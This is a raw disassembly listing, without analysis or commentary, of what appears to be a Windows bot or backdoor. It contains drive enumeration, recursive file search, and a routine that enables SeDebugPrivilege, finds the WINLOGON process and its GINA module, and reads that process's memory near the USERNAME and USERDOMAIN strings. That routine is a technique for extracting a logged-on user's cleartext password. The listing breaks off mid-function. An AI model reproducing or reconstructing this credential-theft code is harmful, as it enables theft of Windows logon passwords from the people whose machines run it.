var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_417345
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417467
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417467
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417467
		mov	edi, 400h
		push	0
		push	edi
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_421570
		push	edx
		push	eax
		call	sub_41727E
		push	eax
		mov	esi, 80h
		push	offset aSkb	; "%sKB"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_421570
		push	edx
		push	eax
		call	sub_41727E
		push	eax
		push	offset aSkb_0	; "%sKB"
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_421570
		push	edx
		push	eax
		call	sub_41727E
		push	eax
		push	offset aSkb_1	; "%sKB"
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41EC30
		jmp	short loc_41749A
; ---------------------------------------------------------------------------

loc_417467:				; CODE XREF: sub_41738D+2Cj
					; sub_41738D+3Bj ...
		lea	eax, [ebp+var_198]
		push	offset aFailed	; "failed"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_118]
		push	offset aFailed_0 ; "failed"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_98]
		push	offset aFailed_1 ; "failed"
		push	eax
		call	sub_41EA60

loc_41749A:				; CODE XREF: sub_41738D+D8j
		mov	eax, [ebp+arg_0]
		add	esp, 18h
		lea	esi, [ebp+var_198]
		mov	edi, eax
		push	60h
		pop	ecx
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41738D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4174B1	proc near		; CODE XREF: sub_417583+17p
					; sub_417583+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_41738D
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed_2 ; "failed"
		rep movsd
		push	eax
		call	sub_41F7E0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417524
		push	ebx
		push	ebx
		call	sub_4172FC
		pop	ecx
		push	eax
		push	offset unk_44EB3C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 14h
		jmp	short loc_417558
; ---------------------------------------------------------------------------

loc_417524:				; CODE XREF: sub_4174B1+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4172FC
		pop	ecx
		push	eax
		push	offset unk_44EB78
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 20h

loc_417558:				; CODE XREF: sub_4174B1+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415A3C
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4174B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417583	proc near		; CODE XREF: sub_401C87+250Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_4175A4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4174B1
		add	esp, 10h
		jmp	short loc_417603
; ---------------------------------------------------------------------------

loc_4175A4:				; CODE XREF: sub_417583+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4E2FF0	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41BE40
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4E2FF0	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4175FA

loc_4175C8:				; CODE XREF: sub_417583+75j
		push	offset aA_2	; "A:\\"
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4175EB
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4174B1
		add	esp, 10h

loc_4175EB:				; CODE XREF: sub_417583+54j
		push	esi
		call	sub_41BC70
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_4175C8

loc_4175FA:				; CODE XREF: sub_417583+43j
		push	edi
		call	sub_41C9D0
		pop	ecx
		pop	edi
		pop	esi

loc_417603:				; CODE XREF: sub_417583+1Fj
		pop	ebx
		pop	ebp
		retn
sub_417583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417606	proc near		; DATA XREF: sub_401C87+6935o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41BC70
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_41765B
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41BC70
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_41765B:				; CODE XREF: sub_417606+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_44EBB8
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4176A0
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409C75
		add	esp, 14h

loc_4176A0:				; CODE XREF: sub_417606+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_41771E
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset dword_44EBE0
		push	eax
		call	sub_41EA60
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4176FE
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409C75
		add	esp, 14h

loc_4176FE:				; CODE XREF: sub_417606+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_415A3C
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_417606	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41771E	proc near		; CODE XREF: sub_417606+B9p
					; sub_41771E+9Cp

var_548		= byte ptr -548h
var_348		= byte ptr -348h
var_244		= byte ptr -244h
var_140		= byte ptr -140h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 548h
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_244]
		push	offset dword_44EC00
		push	esi
		push	eax
		call	sub_41EC30
		mov	edi, dword_4F53F0
		add	esp, 10h
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		call	edi	; FindFirstFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4177D7

loc_417764:				; CODE XREF: sub_41771E+B7j
		test	[ebp+var_140], 10h
		jz	short loc_4177C5
		cmp	[ebp+var_114], 2Eh
		jnz	short loc_417788
		cmp	[ebp+var_113], 0
		jz	short loc_4177C5
		cmp	[ebp+var_113], 2Eh
		jz	short loc_4177C5

loc_417788:				; CODE XREF: sub_41771E+56j
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_348]
		push	[ebp+arg_10]
		push	offset dword_44EC08
		push	esi
		push	eax
		call	sub_41EC30
		push	[ebp+arg_14]
		lea	eax, [ebp+var_348]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41771E
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_4177C5:				; CODE XREF: sub_41771E+4Dj
					; sub_41771E+5Fj ...
		lea	eax, [ebp+var_140]
		push	eax
		push	ebx
		call	dword_4F53EC	; FindNextFileA
		test	eax, eax
		jnz	short loc_417764

loc_4177D7:				; CODE XREF: sub_41771E+44j
		push	ebx
		mov	ebx, dword_4F53E0
		call	ebx	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_244]
		push	[ebp+arg_10]
		push	offset dword_44EC10
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 14h
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417861

loc_417812:				; CODE XREF: sub_41771E+141j
		lea	eax, [ebp+var_114]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_548]
		push	[ebp+arg_10]
		push	offset dword_44EC18
		push	200h
		push	eax
		call	sub_41EC30
		push	1
		lea	eax, [ebp+var_548]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 28h
		lea	eax, [ebp+var_140]
		push	eax
		push	esi
		call	dword_4F53EC	; FindNextFileA
		test	eax, eax
		jnz	short loc_417812

loc_417861:				; CODE XREF: sub_41771E+F2j
		push	esi
		call	ebx	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41771E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41786C	proc near		; DATA XREF: sub_401C87+1C7Do

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+90h], esi
		call	sub_41B56E
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_4178AB
		cmp	eax, 2
		jz	short loc_4178AB
		push	offset unk_44EC38
		jmp	loc_4179EA
; ---------------------------------------------------------------------------

loc_4178AB:				; CODE XREF: sub_41786C+2Ej
					; sub_41786C+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41A2C9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4179E5
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	dword_4F538C	; LoadLibraryA
		mov	esi, dword_4F5390
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4EBEFC, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4EBEF0, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4EC100, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4EBEF8, eax
		call	esi	; GetProcAddress
		mov	dword_4EBEF4, eax
		call	sub_417A3E
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4179B8
		mov	esi, dword_4F52D4
		mov	edi, 400h
		mov	ebx, offset dword_4EAEF0
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_4EB6F0
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4EC104
		push	[ebp+arg_0]
		jnz	short loc_417964
		call	sub_417BC7
		jmp	short loc_417969
; ---------------------------------------------------------------------------

loc_417964:				; CODE XREF: sub_41786C+EFj
		call	sub_417D6B

loc_417969:				; CODE XREF: sub_41786C+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4179B1
		cmp	dword_4EC104, 0
		jnz	short loc_417998
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_44ED48
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 18h
		jmp	short loc_4179CB
; ---------------------------------------------------------------------------

loc_417998:				; CODE XREF: sub_41786C+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4179A8
		call	sub_417E98
		jmp	short loc_4179AD
; ---------------------------------------------------------------------------

loc_4179A8:				; CODE XREF: sub_41786C+133j
		call	sub_417F2F

loc_4179AD:				; CODE XREF: sub_41786C+13Aj
		pop	ecx
		push	eax
		jmp	short loc_4179BD
; ---------------------------------------------------------------------------

loc_4179B1:				; CODE XREF: sub_41786C+101j
		push	offset unk_44EDA4
		jmp	short loc_4179BD
; ---------------------------------------------------------------------------

loc_4179B8:				; CODE XREF: sub_41786C+B6j
		push	offset unk_44EDDC

loc_4179BD:				; CODE XREF: sub_41786C+143j
					; sub_41786C+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_4179CB:				; CODE XREF: sub_41786C+12Aj
		push	0
		push	offset aSedebugprivi_0 ; "SeDebugPrivilege"
		call	sub_41A2C9
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	dword_4F5410	; FreeLibrary
		pop	ebx
		jmp	short loc_4179F8
; ---------------------------------------------------------------------------

loc_4179E5:				; CODE XREF: sub_41786C+4Ej
		push	offset unk_44EE1C

loc_4179EA:				; CODE XREF: sub_41786C+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_4179F8:				; CODE XREF: sub_41786C+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417A1F
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409C75
		add	esp, 14h

loc_417A1F:				; CODE XREF: sub_41786C+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415A3C
		push	[ebp+var_18]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_41786C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417A3E	proc near		; CODE XREF: sub_41786C+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4F541C
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_4F5418
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4EBEFC
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4F5414	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4EBEFC
		test	eax, eax
		jnz	short loc_417B2B
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417B2B
		xor	ecx, ecx
		mov	ebx, ebp
		inc	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417B2B

loc_417AC7:				; CODE XREF: sub_417A3E+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417B1E
		push	0
		push	0
		call	dword_4EBEF0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4EC100
		test	eax, eax
		jnz	short loc_417B0F
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_421620
		pop	ecx
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417B43

loc_417B0F:				; CODE XREF: sub_417A3E+AAj
		test	edi, edi
		jz	short loc_417B1A
		push	edi
		call	dword_4EBEF8

loc_417B1A:				; CODE XREF: sub_417A3E+D3j
		mov	eax, [esp+28h+var_10]

loc_417B1E:				; CODE XREF: sub_417A3E+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417AC7

loc_417B2B:				; CODE XREF: sub_417A3E+6Dj
					; sub_417A3E+7Aj ...
		xor	edi, edi

loc_417B2D:				; CODE XREF: sub_417A3E+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4F5414	; RtlFreeHeap
		mov	eax, edi

loc_417B3B:				; CODE XREF: sub_417A3E+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_417B43:				; CODE XREF: sub_417A3E+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417BAC
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417B59:				; CODE XREF: sub_417A3E+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_421620
		pop	ecx
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417BC0
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_421620
		pop	ecx
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417B9E
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_417B9E:				; CODE XREF: sub_417A3E+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417B59

loc_417BAC:				; CODE XREF: sub_417A3E+10Fj
		test	edi, edi
		jz	short loc_417BB7
		push	edi
		call	dword_4EBEF8

loc_417BB7:				; CODE XREF: sub_417A3E+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417B2D
; ---------------------------------------------------------------------------

loc_417BC0:				; CODE XREF: sub_417A3E+13Cj
		xor	eax, eax
		jmp	loc_417B3B
sub_417A3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BC7	proc near		; CODE XREF: sub_41786C+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	dword_4F5358	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417BF0
		xor	eax, eax
		jmp	loc_417D68
; ---------------------------------------------------------------------------

loc_417BF0:				; CODE XREF: sub_417BC7+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_4F5428	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4F541C
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_4F5418
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4F5424
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_417C40
		xor	esi, esi
		jmp	loc_417D5B
; ---------------------------------------------------------------------------

loc_417C40:				; CODE XREF: sub_417BC7+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	dword_4F5420	; VirtualQueryEx
		test	eax, eax
		jz	loc_417D4A
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_417D4A
		test	[ebp+var_2B], 1
		jnz	loc_417D4A
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_417D4A

loc_417CA3:				; CODE XREF: sub_417BC7+110j
		push	edi
		push	offset dword_4EAEF0
		call	sub_43ACF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417CCB
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4EB6F0
		call	sub_43ACF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417CDB

loc_417CCB:				; CODE XREF: sub_417BC7+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jb	short loc_417CA3
		jmp	short loc_417D4A
; ---------------------------------------------------------------------------

loc_417CDB:				; CODE XREF: sub_417BC7+102j
		test	edi, edi
		jz	short loc_417D4A
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	dword_4F53E8	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_417D16
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_4F53E4	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_417D16
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_417D16:				; CODE XREF: sub_417BC7+12Bj
					; sub_417BC7+13Dj
		movzx	eax, byte ptr [edi+42Dh]
		mov	dword_4EC110, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4EC108, eax
		mov	dword_4EC10C, edi

loc_417D4A:				; CODE XREF: sub_417BC7+90j
					; sub_417BC7+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4F5414	; RtlFreeHeap
		mov	esi, [ebp+var_10]

loc_417D5B:				; CODE XREF: sub_417BC7+74j
		push	[ebp+var_4]
		call	dword_4F533C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417D68:				; CODE XREF: sub_417BC7+24j
		pop	esi
		leave
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D6B	proc near		; CODE XREF: sub_41786C:loc_417964p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	[ebp+arg_0]
		push	0
		push	410h
		call	dword_4F5358	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	short loc_417D8A
		leave
		retn
; ---------------------------------------------------------------------------

loc_417D8A:				; CODE XREF: sub_417D6B+1Bj
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_4F5428	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417E52
		mov	edi, dword_4F541C

loc_417DB4:				; CODE XREF: sub_417D6B+E1j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_4F5420	; VirtualQueryEx
		test	eax, eax
		jz	short loc_417E40
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_417E46
		test	[ebp+var_13], 1
		jnz	short loc_417E46
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	dword_4F5418	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	dword_4F5424	; ReadProcessMemory
		test	eax, eax
		jz	short loc_417E32
		push	offset dword_4EAEF0
		push	esi
		call	sub_43ACF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417E32
		lea	eax, [esi+400h]
		push	offset dword_4EB6F0
		push	eax
		call	sub_43ACF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417E64

loc_417E32:				; CODE XREF: sub_417D6B+9Dj
					; sub_417D6B+AEj
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	dword_4F5414	; RtlFreeHeap
		jmp	short loc_417E46
; ---------------------------------------------------------------------------

loc_417E40:				; CODE XREF: sub_417D6B+5Bj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_417E46:				; CODE XREF: sub_417D6B+6Fj
					; sub_417D6B+75j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417DB4

loc_417E52:				; CODE XREF: sub_417D6B+3Dj
